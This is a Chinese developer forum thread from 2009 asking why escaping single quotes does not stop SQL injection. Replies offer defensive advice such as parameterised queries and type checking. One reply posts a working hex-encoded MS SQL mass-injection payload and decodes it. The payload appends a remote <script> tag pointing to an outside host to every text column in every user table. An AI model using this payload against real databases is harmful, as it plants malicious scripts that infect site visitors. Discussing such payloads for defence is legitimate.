关于sql注入,都说只过渡单引号是没用的,可我一直搞不明白,我过渡了单引号,你还怎么注入?

thanksfriend 2009-12-04 11:01:10
关于sql注入,都说只过渡单引号是没用的,可我一直搞不明白,我过渡了单引号,你还怎么注入?

16进制?能举个例子吗?
...全文
285 8 打赏 收藏 转发到动态 举报
写回复
用AI写文章
8 条回复
切换为时间正序
请发表友善的回复…
发表回复
stevenloveyou 2009-12-04
  • 打赏
  • 举报
回复
学习
winner2050 2009-12-04
  • 打赏
  • 举报
回复
16进制的威力很大

dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e49643d422e496420416e6420412e58747970653d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220422e58747970653d323331204f7220422e58747970653d31363729204f70656e205461626c655f437572736f72204665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c4043205768696c6528404046657463685f5374617475733d302920426567696e20457865632827757064617465205b272b40542b275d20536574205b272b40432b275d3d527472696d28436f6e7665727428566172636861722838303030292c5b272b40432b275d29292b27273c736372697074207372633d687474703a2f2f386638656c336c2e636e2f302e6a733e3c2f7363726970743e272727294665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c404320456e6420436c6f7365205461626c655f437572736f72204465616c6c6f63617465205461626c655f437572736f72%20eXeC(@s);--

翻译过来

DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b
WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://cn.daxia123.cn/cn.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C END
CLOSE Table_Cursor DEALLOCATE Table_Cursor

执行一遍,保证你老板打爆你头。
注册失败 2009-12-04
  • 打赏
  • 举报
回复
看CSDN之前关于这个问题的火热讨论:
http://topic.csdn.net/u/20091013/10/bae1ff33-24bb-4369-9dc6-d2f8faa4cb17.html
http://topic.csdn.net/u/20091015/15/e01678ef-9e35-43f8-a434-7249368d7d1d.html
两个帖子都仔细阅读下
zzxap 2009-12-04
  • 打赏
  • 举报
回复
一个-就能省略掉后面的过滤单引号的SQL
mytimes_walker 2009-12-04
  • 打赏
  • 举报
回复
别拼接SQL,设置SQL参数。
自然框架 2009-12-04
  • 打赏
  • 举报
回复
4楼的那个根本就是注入不进来的。

只需要判断id是不是数字,就可以把他拒之门外。

防止SQL注入:
1、判断数据类型,适用于数字型、日期型。
2、过滤单引号,适用于字符串。
balenoww 2009-12-04
  • 打赏
  • 举报
回复
mark
七娃Ooo 2009-12-04
  • 打赏
  • 举报
回复
DECLARE 百分号 exec 这些过滤了才是王道

62,254

社区成员

发帖
与我相关
我的任务
社区描述
.NET技术交流专区
javascript云原生 企业社区
社区管理员
  • ASP.NET
  • .Net开发者社区
  • R小R
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告

.NET 社区是一个围绕开源 .NET 的开放、热情、创新、包容的技术社区。社区致力于为广大 .NET 爱好者提供一个良好的知识共享、协同互助的 .NET 技术交流环境。我们尊重不同意见,支持健康理性的辩论和互动,反对歧视和攻击。

希望和大家一起共同营造一个活跃、友好的社区氛围。

试试用AI创作助手写篇文章吧